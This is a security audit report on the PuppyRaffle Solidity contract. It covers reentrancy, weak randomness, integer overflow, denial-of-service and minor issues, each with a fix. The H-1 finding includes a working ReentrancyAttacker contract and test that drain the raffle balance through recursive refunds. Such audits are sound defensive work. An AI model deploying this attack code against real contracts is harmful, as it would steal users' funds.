PuppyRaffle Audit Report

Version 1.0

Luka Nikolic

February 11, 2024

Protocol Audit Report

Luka Nikolic

Feb 11, 2024

Prepared by: Luka Nikolic

Lead Security Researcher:

- Luka Nikolic

Table of Contents

  - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
  - Medium

- Denial of Service attack

  - [M-1] Looping throught players array to check duplicates in `PuppyRaffle::enterRaffle` is a potentian denial of service (DoS) attack, incrementing gas costs for future entrants.
  - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` funtion will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at inted 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2]: Storage variables in a loop should be cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of Solidity is not recommended.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI
    * [I-5] Use of "magic" numbers
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy. .

Disclaimer

The Luka makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings describer in this document correspond the following commit hash:

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

It went good.

Spent 2 days on auditing this

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

High

Reentrancy

[H-1] Reentrancy attach in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

->          payable(msg.sender).sendValue(entranceFee);
->          players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`recieve` function that calls the `PuppyRaffle:refund` function again and claim another refund. They could contine the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerBalance = address(reentrancyAttacker).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // starting prank
        vm.prank(attackUser);
        // starting our attack
        reentrancyAttacker.attack{value: entranceFee}();

        // console log starting and ending attacker and puppyRaffle contract balance
        console.log("Starting attacker contract ballance:", startingAttackerBalance);
        console.log("Starting contract balance:", startingContractBalance);

        console.log("Ending attacker contract balance:", address(reentrancyAttacker).balance);
        console.log("Ending contract balance:", address(puppyRaffle).balance);


    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee =  puppyRaffle.entranceFee();
    }

    function attack() external payable{
        // creating new player
        address[] memory players = new address[](1);
        // addressing that player address to this contract address
        players[0] = address(this);
        // entering raffle
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        // we make this contract address active and put his index in attacker index
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        // calling refund
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        // as long balance in puppyRaffle contract is bigger than
```

```
                entranceFee we will call refund function
            if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable{
            _stealMoney();
        }
        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not good random number. Some users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blon on prevrandao](https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector](https://betterprogramming.pub/how
to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically proven random number generator like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0 (overflow)
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players

2. We then have 89 players enter a new raffle, and conclude the raffle

3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); // aka totalFees = 800000000000000000 + 17800000000000000000; // and this will overflow totalFees = 153255926290448384;`

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

~~~
```javascript
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");

```
~~~

Altrough you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the aboce `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations:

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

Denial of Service attack

[M-1] Looping throught players array to check duplicates in `PuppyRaffle::enterRaffle` is a potentian denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the array is the more checks a new player will make. This means the gas costs for players who enter right when the raffle starts will be dramatically less than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```

    // @audit DoS attack
->          for (uint256 i = 0; i < players.length - 1; i++) {
              for (uint256 j = i + 1; j < players.length; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

Impact: The gas costs for raffle entrants will increase as more players enter raffle. Discouraging later users from entering, and causinh rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing the win.

Proof of Concept: If we have 2 sets of 100 players, the gas costs will be as such:

- 1st 100 players: ~6252048 gas

- 2nd 100 players: ~18068138 gas

This is almost 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppuRaffleTest.t.sol`:

```
function test_DoS() public {
        // First we want to see how much gas cost to enter first 100
            players
        vm.txGasPrice(1);

        // Now we enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        // Now we want to see how much gas it cost for first batch of
            100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players", gasUsedFirst);

        // now for another 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // we continue
                with 100,101,102...
        }

        // Now we want to see how much gas it cost for first batch of
            100 players
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players", gasUsedSecond
            );

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider usint a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+     mapping(address => uint256) public addressesToRaffleId;
+     uint256 public raffleId = 0;
      .
      .
      .
      .
      .
      function enterRaffle(address[] memory newPlayers) public payable {
          require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
          for (uint256 i = 0; i < newPlayers.length; i++) {
              players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
          }

-             // Check for duplicates
+             // Check for duplicates only from the new players
+             for (uint256 i = 0; i < newPlayers.length; i++) {
+                     require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
          }
-             for (uint256 i = 0; i < players.length; i++) {
-                 for(uint256 j = i + 1; j < players.length; j++) {
-                    require(players[i] != players[j], "PuppyRaffle: Duplicate player");
          }
          }
          emit RaffleEnter(newPlayers);

      }
      .
      .
      .
      .
          function selectWinner() external {
+                 raffleId = raffleId + 1;
              require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
          }
```

3. Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contrac

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```diff
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` funtion will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are few options tor this issue:

1. Do not allow smart contract wallet entrants(not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at inted 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters raffle
2. Because he is first player `PuppyRaffle::getActivePlayerIndex` returns 0
3. Player thinks he did not entered the raffle

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.

- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2]: Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage , as opposed from memory which is gas efficient.

```
+         uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes

- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 70

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 191

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 213

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
         _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "magic" numbers

It is recommended not to use magic numbers because it can be hard to read and know the context of them

Instead of this :

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Use this :

```
         uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
         uint256 public constant FEE_PERCENTAGE = 20;
         uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```